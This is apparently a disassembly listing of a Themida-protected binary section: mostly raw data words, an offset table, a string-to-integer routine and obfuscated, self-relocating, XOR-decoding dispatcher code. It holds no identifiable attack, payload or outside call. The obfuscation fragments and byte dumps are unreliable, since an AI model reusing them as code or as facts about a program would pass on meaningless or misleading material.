		dd 820Fh, 0FF610000h, 5D9D89E7h, 81061203h, 93B8B1F3h
		dd 1B862h, 9D8B0000h, 61221D9h,	11E951h, 0AF280000h, 0CB8056B9h
		dd 0BB4E91D4h, 0F810A070h, 5A5A4312h, 89E0BD8Dh, 6A005Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 19B74FC3h, 6AE7FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 88F071C3h, 0A81C9B66h, 8D1C3B41h
		dd 124687BDh, 19880F06h, 0E8000000h, 0Fh, 0EAB57AEAh, 0E7FB9CBBh
		dd 0E1A35C5Ch, 66076C22h, 5B7CFCBBh, 25BE9h, 0DEB70F00h
		dd 505685C7h, 50612h, 0B70F0000h, 5B8D2h, 0D18B0000h, 1AE9BD89h
		dd 3FE90612h, 6A00000Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 771FC352h, 2F8D01FDh
		dd 6830F50h, 81000000h,	0CA5F91F3h, 0B5315A7Ah,	6122DE5h
		dd 0F02F883h, 0A985h, 0B8F8B200h, 0
		dd 23519589h, 0C00B0612h, 7A840Fh, 8B660000h, 0F5958BD6h
		dd 8306122Ch, 840F01F8h, 0FFFFFF7Ch, 0F883A9B6h, 0D6840F03h
		dd 66FFFFFEh, 0EE6AE381h, 0E7DB589h, 0B80612h, 8B000000h
		dd 12166195h, 0E0BD8D06h, 6A005B89h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0B2B4C355h
		dd 0E8E7FFB7h, 0Fh, 5471490Dh, 8141EEA5h, 4F505C3Bh, 0F637014h
		dd 684h, 0CD958B00h, 5A061231h,	487FBD8Dh, 800F0612h, 6
		dd 235DB589h, 55E90612h, 66000001h, 0F883D88Bh,	67850F03h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0B009C352h, 0C5AA3CE9h, 0CF24D5B0h
		dd 0CE9h, 0D7466000h, 0A8565107h, 18A7860Bh, 13BD8DCAh
		dd 6A06124Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 3B93C350h, 0E9D37B16h,	0E8h, 30E99501h
		dd 0F8830612h, 12850F05h, 80000000h, 8D8965D3h,	6121B01h
		dd 8D1E9h, 8EBA6600h, 6F88300h,	35850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 9D8BE7C3h, 6121645h,	4C0BBD8Dh, 0DA810612h, 5FA13EE7h
		dd 8BE9h, 833AB300h, 850F07F8h,	1Bh, 9D0330B7h,	6120A81h
		dd 27BDBD8Dh, 0D98B0612h, 179E9h, 358D8900h, 83061220h
		dd 850F0AF8h, 5Ch, 223DB589h, 0BD8D0612h, 6124E03h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3BC35141h, 7C60BDBFh
		dd 29E9C35Ah, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 777BC357h, 308DC89h
		dd 667DA0B3h, 0D618D381h, 53006A57h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0AABAC08Eh
		dd 10860Fh, 5E80000h, 0E9000000h, 104A72CCh, 52EB8166h
		dd 0FCB95A80h, 6A4FC8D1h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 4FE0C355h, 97F1E8A4h
		dd 3F830BE3h, 7D840F00h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 8019C356h
		dd 2F3081B4h, 6B8341E0h, 5358529h, 0F300612h, 6AC9D1h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 762293C3h, 0B2C86BF7h, 0B70F4735h, 0FF9CE9D8h, 6AFFFFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0E5A789C3h, 9E9DC027h, 57006A5Fh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0CA3FF01Eh
		dd 8A5521C9h, 358D9589h, 0BD890612h, 6124FFFh, 81B195BBh
		dd 0E58D8D57h, 0E8061200h, 10h,	0A047711Ah, 7FD36481h
		dd 0CDBA35ACh, 0D4B823F3h, 5A616052h, 6DB5FF5Bh, 52061206h
		dd 0D8C2BA66h, 0BB858D5Ah, 500614A9h, 56A8BD8Dh, 8D8D0612h
		dd 6126FCEh, 831ABCB8h,	30CF2B54h, 47C8D007h, 8DF87549h
		dd 126F53B5h, 0E68D8D06h, 2B06126Fh, 33A4F3CFh,	0B8C9h
		dd 0C00B0000h, 0BD834674h, 61204ADh, 0FF067400h, 120C1D95h
		dd 0FFB58B06h, 8D06124Fh, 14A9BB85h, 8DD0FF06h,	12446585h
		dd 0C7D0FF06h, 12245985h, 106h,	69A58B00h, 8B061209h, 123141B5h
		dd 89AD8B06h, 3306122Eh, 0CC2C0h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 2CC35141h, 0B3F74E15h, 2E299529h
		dd 0BD830612h, 6122165h, 3A840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0EB9DC356h, 95894D8Ch, 61226A5h, 0BB47BA66h,	45D95FFh
		dd 6E90612h, 69000000h,	0CFCD5E61h, 21BD8359h, 6121Bh
		dd 24C850Fh, 0D4BB0000h, 830B532Eh, 121FE9BDh, 850F0106h
		dd 23Ah, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 19h,	0F6C35040h, 6ACBCEE0h, 9DBD8322h, 6122Eh, 20C840Fh
		dd 0B5010000h, 6121B59h, 5052BD83h, 0F000612h, 1F984h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 82A4192Bh, 3C46676Ch, 95292EF9h,	61221EDh
		dd 0A9BB858Dh, 0BD890614h, 6122C05h, 4FFFB58Bh,	9D8B0612h
		dd 6122B95h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0CAF4DAC3h, 0B589D590h, 6123221h
		dd 25985C6h, 6A540612h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 7B88C351h, 0A8D13F5Dh
		dd 5A47FB3Ch, 0B09B589h, 4E80612h, 0F4000000h, 0E9FF4EBEh
		dd 13h,	0DFF83371h, 79A00FC4h, 0F618C359h, 9B07B1D3h, 507367CFh
		dd 0B74BBA66h, 424448Bh, 13E9h,	5684B100h, 316A98A5h, 0D58F88AFh
		dd 8D755E19h, 2D1545DBh, 11E9008Bh, 0D4000000h,	41789750h
		dd 6522F0EBh, 7A5E04C3h, 6259A6C1h, 4244489h, 8E95250h
		dd 7000000h, 0F90B11FDh, 0F9F0A93h, 14E831h, 0F8030000h
		dd 1E03C58Fh, 17B1C380h, 0C0A4A792h, 7D637F70h,	0BA664783h
		dd 5A5BA2D8h, 0FA8A5858h, 2E19B5FFh, 0DF8B0612h, 3B56858Dh
		dd 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0C974A0C3h, 67A9443Bh, 0D0FF18BDh, 48E0Fh
		dd 0BA660000h, 0D98B4FC7h, 840F006Ah, 15h, 0DE8h, 65AC4F00h
		dd 0B4A270EDh, 0B45E97Bh, 5B533C2Dh, 66FF6A5Ah,	0D0FFD78Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F0C35040h
		dd 5AAC4E48h, 96CD2F13h, 7D2819Bh, 0BA4E29A2h, 122B420Ah
		dd 0CB816660h, 7E82D75h, 2000000h, 0FBE5334Ch, 0B58B548Eh
		dd 6121D19h, 0B5FF6159h, 61216FDh, 3305958Bh, 95FF0612h
		dd 612066Dh, 5E9h, 0DBBEDA00h, 0B58B1B9Ch, 6124FFFh, 0E8C3D68Bh
		dd 5, 7F74FEC4h, 0E5858947h, 5A061203h,	2A25B58Bh, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 4B1D9EC3h, 5F1C40C2h, 0BD6B70Fh, 2B840FF6h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0CC06C350h, 259D8B01h, 0C6061200h, 0BB660006h
		dd 8589579Bh, 6125007h,	3C9958Bh, 0F8830612h, 74840F00h
		dd 29000003h, 1231F5B5h, 0B806h, 860F0000h, 5, 16F38166h
		dd 0F883BFh, 82840Fh, 72BB0000h, 8325A80Ah, 850F02F8h
		dd 5Dh,	8DDA8B66h, 12468285h, 0AE906h, 357D0000h, 0F96DA781h
		dd 22344C1Dh, 9292Dh, 95858900h, 66061205h, 0BA90D08Bh
		dd 5AAD2E9Ah, 0C3F89050h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0D6C35141h, 0C0EAD87Dh, 669ADE86h, 89ED99BBh
		dd 122661B5h, 0B806h, 0F520000h, 389h, 0DFB70F00h, 2D5E95Ah
		dd 0DE8B0000h, 1B8h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0F106ED0h, 1089h, 0BE900h
		dd 87330000h, 365AE1ABh, 0C4A642B7h, 4890FE4h, 66000000h
		dd 801327BBh, 0BD8DD0CAh, 6124687h, 0BE8h
		dd 73F31D00h, 71F6363Bh, 2531C0EBh, 26559529h, 0E95B0612h
		dd 113h, 4D9958Bh, 0F8830612h, 61850F02h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 3C76C355h, 0F1AC7B89h, 0C5ED7833h, 487FBD8Dh, 958B0612h
		dd 6121C79h, 0CEE9h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 6CAE8FFBh, 79D78053h
		dd 0A1858956h, 5A061202h, 0F03F883h, 5985h, 0B1853100h
		dd 8D061214h, 124A13BDh, 219D8B06h, 0F06120Bh, 1488h, 0FE900h
		dd 8E4F0000h, 0D8BCEA0h, 0A2B1B4F0h, 485A5BEBh,	69E9D8h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0A35999C3h, 4CBEE58Ch, 0F318589h,	0F8830612h
		dd 38850F05h, 0BA000000h, 3F2BF49Ah, 0FDE9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 385CA369h, 4D2208F5h, 64BA35BAh, 663F608Ch, 57EACABAh
		dd 9F116DBAh, 0D1FCB90Fh, 29524FC8h, 12134595h,	81665B06h
		dd 83C129F2h, 840F003Fh, 0AEh, 0DE9h, 0A0E9DC00h, 9CBD8393h
		dd 7EE1A755h, 0F30B7B9h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0CC35545h, 0B1C93A87h, 2320F2BDh, 1225719Dh
		dd 6AC9D106h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0BEFC353h, 98AF010Fh, 0CF80E174h
		dd 0FE997h, 0DE770000h,	0CC25E4D9h, 0F1844AEEh,	1CE53AFBh
		dd 6A47B2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 3567AC3h,	520782E1h, 66AEDA10h, 0E9FE5CBBh
		dd 0FFFFFF4Fh, 1741B589h, 0F8830612h, 80850F05h, 0F000000h
		dd 880h, 0EB815300h, 64EE4566h,	519D8B5Bh, 66061215h, 0AE9D98Ch
		dd 9F000000h, 0F93A9702h, 0ECDF504Ch, 4C1F67Ch,	18850Fh
		dd 0F18A0000h, 0B8h, 8D9D8B00h,	0E9061207h, 3Fh, 1B95958Bh
		dd 858B0612h, 6120039h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0D2C35747h, 9705A595h, 0FF0BEA80h, 6E9E0h
		dd 0C0B40000h, 79731960h, 83C2EE80h, 12066DBDh,	850F0006h
		dd 159h, 0AE99D33h, 0F900612h, 81h, 29905000h, 121369B5h
		dd 0EE906h, 568B0000h, 162BDC72h, 6033F96Bh, 0D5266352h
		dd 25985C6h, 6A450612h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0C90FC351h,	3518A3Ch
		dd 0ECB36F0Ah, 0D3816660h, 0E861CA2Bh, 4, 8E726969h, 6850Fh
		dd 66520000h, 5B0D63BAh, 0FB8B6050h, 8B665250h,	0E9310FC6h
		dd 0Ah,	0D183C78Ch, 5AB3DDE4h, 585AEE30h, 24448B61h, 28F0F04h
		dd 8B000000h, 89008BD9h, 60042444h, 0E8525A51h,	11h, 9D41320Ah
		dd 9E127515h, 1C718157h, 68E6399Eh, 615F5880h, 0B3BA5258h
		dd 5A60DE8Bh, 2E19B5FFh, 89600612h, 1219F185h, 53E18106h
		dd 615C53AEh, 3B56858Dh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0AF97ADC3h, 142DB35Eh
		dd 8B66931Eh, 6AD0FFD6h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0D735C356h,	59C5CDACh
		dd 66D8589h, 95330612h,	61224D1h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0C47CAA1Dh
		dd 94CFB24Ah, 56BD83F8h, 61250h, 5F840Fh, 0EE800000h, 0FDB5FFBBh
		dd 6A061216h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 37B0C356h, 0E35959BFh,	23431125h
		dd 30B19D8Bh, 95FF0612h, 612066Dh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0A9C35242h,	0B6D0A4F7h, 8FE28166h
		dd 0F88301h, 0E9850Fh, 9D8B0000h, 6122ABDh, 3039BD83h
		dd 0F000612h, 0AB84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0F9504D0h, 683h, 61952300h
		dd 66061202h, 0FFD442BBh, 123039B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 807FD7CEh
		dd 1A8F279Ah, 9501603Dh, 6122A3Dh, 0FB79E281h, 0F6128E7h
		dd 282h, 0B8F5B600h, 1,	890EF380h, 123265B5h, 28FE906h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 9D09FBC3h, 6122A11h, 46CA8150h, 5B7505B4h
		dd 16FDB5FFh, 0B5090612h, 6120B59h, 16FDB5FFh, 0B5010612h
		dd 61213BDh, 66DB5FFh, 3BBB0612h, 0FC4F2743h, 23CE9h, 5FFD8A00h
		dd 24E1B589h, 0BD830612h, 6122BE1h, 8C850F00h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 698AC350h, 0E9A33744h, 0Ch, 0F2F87003h, 0F08FFD2Dh
		dd 0C7B06746h, 25985C6h, 6A4D0612h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 18BAC355h
		dd 2991A267h, 1203D18Dh, 4E806h, 76A80000h, 8F0FA435h
		dd 0
		dd 0BA525050h, 68B59FBBh, 5250310Fh, 830Fh, 310F0000h
		dd 10E8h, 244C2D00h, 0B112C6E4h, 0E6E27DD0h, 0E664CE43h
		dd 585A5AEDh, 448B585Ah, 12E90424h, 13000000h, 2717EC28h
		dd 0F8B42962h, 0D3B952A6h, 0F9005D62h, 0F008B2Ah, 584h
		dd 2AFABA00h, 44890A84h, 0B2600424h, 14E941h, 0FFE50000h
		dd 0EFA5B75Fh, 54988F15h, 5DD34272h, 984A8AC7h,	58611649h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B6C35141h
		dd 662F9B27h, 0B5FFD68Bh, 6121309h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0F8C35040h,	0E3B63133h, 1EA1618h
		dd 12058595h, 56858D06h, 8906123Bh, 1219999Dh, 6AD0FF06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 42CCC356h, 68D0Fh, 8D890000h, 6120E99h, 72C8F8BAh
		dd 0E1858950h, 0E906122Bh, 0Fh,	60BFC8EEh, 9096E06Eh, 0D20BF481h
		dd 0B8F7221Ah, 0
dword_550240	dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 6DC35343h
		dd 6018AF81h, 0FE9h, 1B585D00h,	268C4EE8h, 1DC3CC88h, 0AACFC89Eh
		dd 0BD8961FCh, 6124FFFh, 0C00B64B3h, 2D840Fh, 9D010000h
		dd 6122321h, 0F899589h,	3EE90612h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0FF1BC355h, 12066DB5h, 0D7BF0F06h, 0A9BB858Dh, 66510614h
		dd 505AD68Bh, 0CB09BA66h, 8B240489h, 1232DD9Dh,	8D565006h
		dd 1256A8BDh, 118D8D06h, 0B806127Ch, 748323BCh,	730CF2Bh
		dd 4947C8D0h, 585EF875h, 3039BD83h, 74000612h, 118D8B06h
		dd 3306122Ch, 0B8C9h, 0C00B0000h, 0A8840Fh, 0BD830000h
		dd 61204ADh, 0FF067400h, 120C1D95h, 0B806h, 0C00B0000h
		dd 0BD830975h, 6125007h, 83097401h, 125007BDh, 0E750206h
		dd 4FFFB58Bh, 858D0612h, 614A9BBh, 0BD83D0FFh, 6122165h
		dd 0FF067400h, 12045D95h, 65858D06h, 0FF061244h, 0C9BD83D0h
		dd 2061209h, 0A58B2F75h, 6120969h, 3039858Bh, 4890612h
		dd 5985C724h, 1061224h,	8B000000h, 125003B5h, 89AD8B06h
		dd 0B806122Eh, 1, 0EB000CC2h, 5985C700h, 1061224h, 8B000000h
		dd 120969A5h, 41B58B06h, 8B061231h, 122E89ADh, 0C2C03306h
		dd 0BD83000Ch, 6122165h, 830F7400h, 12045DBDh, 6740006h
		dd 45D95FFh, 0B58B0612h, 6124FFFh, 60D280C3h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 36C35040h, 2A589678h
		dd 0A2100A1Ah, 66D22B94h
		db 8Bh,	0DFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_550416
; ---------------------------------------------------------------------------


loc_550414:				; CODE XREF: Themida_:00550419j
		inc	eax
		inc	edi


loc_550416:				; CODE XREF: Themida_:00550412j
		cmp	byte ptr [edi],	0
		jnz	short loc_550414
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_550445
; ---------------------------------------------------------------------------


loc_550422:				; CODE XREF: Themida_:00550447j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_55043A
; ---------------------------------------------------------------------------


loc_550437:				; CODE XREF: Themida_:0055043Dj
		mul	ebx
		dec	esi


loc_55043A:				; CODE XREF: Themida_:00550435j
		cmp	esi, 0
		ja	short loc_550437
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_550445:				; CODE XREF: Themida_:00550420j
		or	eax, eax
		jnz	short loc_550422
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 81h
		dd 30B2F6DBh, 6810F09h,	8B000000h, 12120595h, 0E9C18B06h
		dd 2223Fh, 5C6D4Fh, 12FF6Ch, 25B003Fh, 25B0028h, 0
		dd offset byte_5C6D4F
		dd offset dword_5C5274
		dd 202h, 2, 1, 0
		dd 0FA4286D9h, 5 dup(0)
		dd offset dword_553230
		dd offset byte_559E87
		dd offset dword_55A5A4
		dd offset byte_55A9AF
		dd offset byte_55858D
		dd offset byte_555ED1
		dd offset dword_5544D0
		dd offset byte_5537E1
		dd offset word_55C492
		dd offset word_55482A
		dd offset dword_55B0D0
		dd offset dword_55AAD4
		dd offset byte_5576E9
		dd offset word_555FCE
		dd offset word_559A12
		dd offset word_559E4E
		dd offset word_557F6A
		dd offset word_5569AE
		dd offset word_551302
		dd offset byte_559255
		dd offset byte_5568C1
		dd offset byte_551B53
		dd offset dword_559F58
		dd offset word_5582D2
		dd offset byte_55B3F3
		dd offset word_5555BA
		dd offset byte_558C07
		dd offset byte_555B75
		dd offset dword_555408
		dd offset dword_5528B0
		dd offset byte_5551E7
		dd offset aF1F3F1Si	; "f1<$f3<$f1<$é›\""
		dd offset aNh6p		; "­h6P"
		dd offset byte_553CC5
		dd offset byte_5572AF
		dd offset word_552EE2
		dd offset byte_550A15
		dd offset byte_5549B7
		dd offset dword_556A90
		dd offset byte_55A6F7
		dd offset byte_55B985
		dd offset word_55957E
		dd offset dword_557A84
		dd offset byte_554CCF
		dd offset dword_55A820
		dd offset byte_550E31
		dd offset dword_5574F8
		dd offset word_5566BE
		dd offset dword_556060
		dd offset word_557C56
		dd offset byte_55B2C1
		dd offset dword_558F60
		dd offset aMsmo		; "ލ"
		dd offset word_551662
		dd offset byte_559235
		dd offset byte_55965F
		dd offset aN1Sq		; "­1ØéŸº"
		dd offset byte_55252F
		dd offset dword_557630
		dd offset aM0Rpsse	; "¬0ØRPééE"
		dd offset byte_554C35
		dd offset dword_550EBC
		dd offset word_55CAB6
		dd offset byte_553D87
		dd offset word_55B8FE
		dd offset byte_55B9E9
		dd offset word_55168A
		dd offset dword_555400
		dd offset dword_55953C
		dd offset byte_55723B
		dd offset dword_559C40
		dd offset word_55B622
		dd offset byte_5517FF
		dd offset word_559A3E
		dd offset byte_55BDEF
		dd offset aNhh6		; "­hH6"
		dd offset byte_552D15
		dd offset byte_55679D
		dd offset word_5536A2
		dd offset dword_553240
		dd offset byte_55B655
		dd offset word_5588AA
		dd offset byte_553FC1
		dd offset byte_55616F
		dd offset byte_557FD1
		dd offset word_5582AA
		dd offset byte_55C643
		dd offset byte_558939
		dd offset byte_55B8DB
		dd offset dword_550DB4
		dd offset byte_55095F
		dd offset dword_552734
		dd offset byte_55AD79
		dd offset byte_550F89
		dd offset byte_552297
		dd offset byte_5531C9
		dd offset dword_5587C8
		dd offset word_55312E
		dd offset byte_559621
		dd offset word_550DCA
		dd offset dword_5544B0
		dd offset byte_5571AD
		dd offset dword_55C9A0
		dd offset dword_55B0C8
		dd offset byte_556331
		dd offset dword_55CAD8
		dd offset byte_554ACB
		dd offset word_55887E
		dd offset byte_5560E9
		dd offset byte_554AA7
		dd offset byte_554507
		dd offset byte_555D07
		dd offset byte_55B715
		dd offset dword_554C44
		dd offset dword_55878C
		dd offset dword_5580FC
		dd offset dword_551050
		dd offset aMsug		; "¬éã£"
		dd offset byte_5519DD
		dd offset word_558CB6
		dd offset word_5559E6
		dd offset dword_558BF8
		dd offset word_55418A
		dd offset dword_5576CC
		dd offset byte_55B721
		dd offset word_55497E
		dd offset byte_554B33
		dd offset byte_552FF1
		dd offset byte_55B3CF
		dd offset byte_551379
		dd offset byte_553201
		dd offset byte_554D0D
		dd offset word_553C62
		dd offset word_5597B6
		dd offset byte_553155
		dd offset aJHg		; "†$$hG^"
		dd offset dword_55145C
		dd offset dword_55B7E4
		dd offset byte_552BDB
		dd offset dword_558A5C
		dd offset dword_558A20
		dd offset dword_5522A0
		dd offset word_553AEE
		dd offset byte_5563F1
		dd offset dword_558660
		dd offset word_55C232
		dd offset byte_5513D5
		dd offset dword_555DB4
		dd offset word_55C282
		dd offset dword_555B5C
		dd offset word_5575D2
		dd offset byte_556F61
		dd offset byte_554EEF
		dd offset byte_554917
		dd offset word_559F1E
		dd offset byte_55AF10
		dd offset byte_558179
		dd offset byte_5595CD
		dd offset byte_55BA9B
		dd offset word_551112
		dd offset byte_558AC9
		dd offset byte_55CAA7
		dd offset word_559026
		dd offset dword_551D7C
		dd offset byte_550C07
		dd offset byte_558223
		dd offset byte_558B7F
; ---------------------------------------------------------------------------


loc_55074C:				; CODE XREF: Themida_:00572F84j
					; Themida_:0057D26Fj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 612807Bh
		mov	eax, edi
		add	edi, 6127D93h
		cmp	eax, [edi+2Ch]
		jnz	short loc_55076A
		jmp	short loc_55077D
; ---------------------------------------------------------------------------


loc_55076A:				; CODE XREF: Themida_:00550766j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_550779
; ---------------------------------------------------------------------------


loc_550774:				; CODE XREF: Themida_:0055077Bj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_550779:				; CODE XREF: Themida_:00550772j
		or	ecx, ecx
		jnz	short loc_550774


loc_55077D:				; CODE XREF: Themida_:00550768j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55078A:				; CODE XREF: Themida_:00550791j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55078A


loc_550793:				; CODE XREF: Themida_:loc_551807j
					; Themida_:00552403j ...
		lodsb
		xor	al, bl
		push	edx
		mov	dh, 88h
		jmp	loc_557C95
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 639DE9h, 0C6815E00h, 4, 8704EE83h, 7E92434h, 83000066h
		dd 9AE904C4h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5507C3:				; CODE XREF: Themida_:0055C28Fj
		xor	ecx, 4EA6A00Dh
		add	edi, ecx
		pop	ecx
		jmp	loc_55991F
; ---------------------------------------------------------------------------
a_s		db '[_é>:',0
		align 4
		dd 4BB535Dh, 81000000h,	596FBAC5h, 67ED8103h, 14DDB5Bh
		dd 67C581DDh, 0E94DDB5Bh, 915Ah, 1BEh, 1C770900h, 8B2434FFh
		dd 0C7E92434h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55080B:				; CODE XREF: Themida_:00555874j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 20000h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, ebp
		mov	esi, edi
		pop	edi
		jmp	loc_55C0C2
; ---------------------------------------------------------------------------
		dd 5304C483h, 0EB136CBBh, 0B1C3814Ah, 836F7B23h, 0D3F701EBh
		dd 0E906EBC1h, 968Dh, 0FEF0CA80h, 3ECA80C2h, 0FBB55166h
		dd 5966EA00h, 0D0285504h, 2855B551h, 45A59E8h, 28322CF6h
		dd 533204D8h, 85E95DB3h, 81000057h, 2B36A9C5h, 9378E92Fh
		dd 0CF810000h, 347C64DDh, 3931BD55h, 0F74D422Ah, 0C58145DDh
		dd 0AFFB7B9Fh, 17E9EF09h, 5F000080h, 8B24048Fh,	20E92424h
		db 54h,	2 dup(0)
aN1Sq		db '­1ØéŸº',0           ; DATA XREF: Themida_:00550590o
		db 0
; ---------------------------------------------------------------------------


loc_5508AF:				; CODE XREF: Themida_:00557792j
		shr	ah, 3
		add	ah, 39h
		add	bl, 45h
		sub	bl, ah
		sub	bl, 45h
		mov	eax, [esp]
		jmp	loc_55A368
; ---------------------------------------------------------------------------
		db 68h,	38h, 5
aNuxssl		db 'NUX陫',0
		align 10h
		dd 162B68h, 0B132E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5508DA:				; CODE XREF: Themida_:00557E4Aj
		push	ebp
		mov	ebp, 0E95D6DEh
		jmp	loc_552360
; ---------------------------------------------------------------------------
		db 46h,	81h, 0C6h
		dd 234801C3h, 1BE9F789h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5508F3:				; CODE XREF: Themida_:0055C954j
		inc	edx
		jmp	loc_558737
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 1Dh
		dd 0E9FB2FD6h, 998Ah, 35B5C981h, 0E1C167A8h, 3332E905h
		dd 0E8010000h, 0FFBD555Dh, 0E9012C7Ch, 2E3Fh
; ---------------------------------------------------------------------------


loc_550920:				; CODE XREF: Themida_:0055BBAEj
		push	6E3F7EFCh
		jmp	loc_550D94
; ---------------------------------------------------------------------------


loc_55092A:				; CODE XREF: Themida_:00554560j
		add	esp, 4
		add	ebp, 0C7F11E77h
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55BFB6
; ---------------------------------------------------------------------------
aXs1		db 'Xé)1',0
		align 4
aFFS4k		db 'f[f)Èé4k',0
		align 2


loc_55094E:				; CODE XREF: Themida_:00559FF2j
		sub	edi, 7E5579B2h
		jmp	loc_555A68
; ---------------------------------------------------------------------------


loc_550959:				; CODE XREF: Themida_:00550EB7j
		push	ebp
		jmp	loc_558F28
; ---------------------------------------------------------------------------
byte_55095F	db 0ADh			; DATA XREF: Themida_:00550618o
		dd 0DF514305h, 551E2D51h, 7B2D011Bh, 1611A59h, 597B05D8h
		dd 0BA52611Ah, 11B551Eh, 575AD001h, 7B11CEBFh, 50DFF729h
		dd 236FDEB8h, 0A0D9E927h
		db 2 dup(0)
